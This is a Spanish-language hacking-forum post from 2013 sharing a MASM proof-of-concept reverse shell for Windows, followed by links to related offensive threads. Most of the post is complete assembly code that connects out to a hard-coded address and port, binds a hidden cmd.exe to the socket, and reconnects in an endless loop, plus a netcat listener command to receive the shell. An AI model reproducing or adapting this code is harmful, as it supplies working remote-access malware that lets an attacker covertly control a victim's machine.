Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[MASM] Pequeña PoC de shell remota

  • 0 Respuestas
  • 4017 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado binary_death

  • *
  • Underc0der
  • Mensajes: 18
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« en: Septiembre 01, 2013, 02:03:45 pm »
Esta es una pequeña y simple prueba de concepto de lo que sería una shell remota de conexión inversa programada con sintaxis MASM.

Aquí dejo el código:

Código: ASM
  1. .386
  2. .model flat, stdcall
  3. option casemap:none
  4. include \masm32\include\windows.inc
  5. include \masm32\include\kernel32.inc
  6. include \masm32\include\ws2_32.inc
  7. includelib \masm32\lib\ws2_32.lib
  8. includelib \masm32\lib\kernel32.lib
  9. .data
  10.   cmd       db      "COMSPEC",0
  11.   ip        db      "127.0.0.1",0
  12.   szMsgCon  db      "/k echo: Connected...",0
  13.   port      equ     7565
  14.  
  15. .data?
  16.   sinfo      STARTUPINFO <>
  17.   pinfo      PROCESS_INFORMATION <>
  18.   sockAddr   sockaddr_in <>
  19.   wsaData    WSADATA <>
  20.   sock       SOCKET ?
  21.   szComspec  db 512 dup(?)
  22.  
  23. .code
  24. start:
  25.     invoke GetEnvironmentVariable,addr cmd,addr szComspec,512
  26.     __init_sock:
  27.     invoke WSAStartup, 202h, addr wsaData
  28.     invoke WSASocket,AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0
  29.     mov    [sock],eax
  30.     invoke inet_addr,addr ip
  31.     mov    sockAddr.sin_family,AF_INET
  32.     mov    sockAddr.sin_addr,eax
  33.     invoke htons,port
  34.     mov    sockAddr.sin_port,ax
  35.     __connect:
  36.     invoke Sleep,500
  37.     invoke connect,[sock],addr sockAddr,sizeof sockAddr
  38.     cmp    eax,-1
  39.     jz     __connect
  40.     invoke RltZeroMemory, addr sinfo, sizeof sinfo
  41.     mov    eax,[sock]
  42.     mov    sinfo.cb,sizeof sinfo
  43.     mov    sinfo.dwFlags,STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW
  44.     mov    sinfo.wShowWindow,SW_HIDE
  45.     mov    sinfo.hStdOutput,eax
  46.     mov    sinfo.hStdError,eax
  47.     mov    sinfo.hStdInput,eax
  48.     invoke CreateProcess,addr szComspec,addr szMsgCon,0,0,TRUE,CREATE_NEW_CONSOLE,0,0,addr sinfo, addr pinfo
  49.     invoke WaitForSingleObject,pinfo.hProcess,INFINITE
  50.     invoke CloseHandle,pinfo.hThread
  51.     invoke CloseHandle,pinfo.hProcess
  52.     invoke closesocket,sock
  53.     invoke WSACleanup
  54.     jmp __init_sock
  55.  end start
  56.  

Para probarlo, o podéis hacer pequeño script en python o perl o lo que sea que escuche en el puerto 7565 o mismo usar netcat, de la siguiente manera:

Código: [Seleccionar]
nc -l -p 7565

¡Un saludo!

 

¿Te gustó el post? COMPARTILO!



[MASM] Hook al teclado

Iniciado por binary_death

Respuestas: 0
Vistas: 3945
Último mensaje Septiembre 01, 2013, 01:59:57 pm
por binary_death
[MASM] GetModuleFileName Example (Beginner)

Iniciado por ANTRAX

Respuestas: 0
Vistas: 2621
Último mensaje Junio 09, 2010, 12:31:17 pm
por ANTRAX
[MASM] Shellcode RunPE

Iniciado por ANTRAX

Respuestas: 1
Vistas: 5945
Último mensaje Enero 09, 2019, 11:41:15 pm
por 0x90
[MASM] File Downloader

Iniciado por ANTRAX

Respuestas: 0
Vistas: 2800
Último mensaje Junio 05, 2012, 04:41:40 pm
por ANTRAX
[MASM] PE Infector

Iniciado por ANTRAX

Respuestas: 0
Vistas: 4140
Último mensaje Junio 05, 2012, 04:39:59 pm
por ANTRAX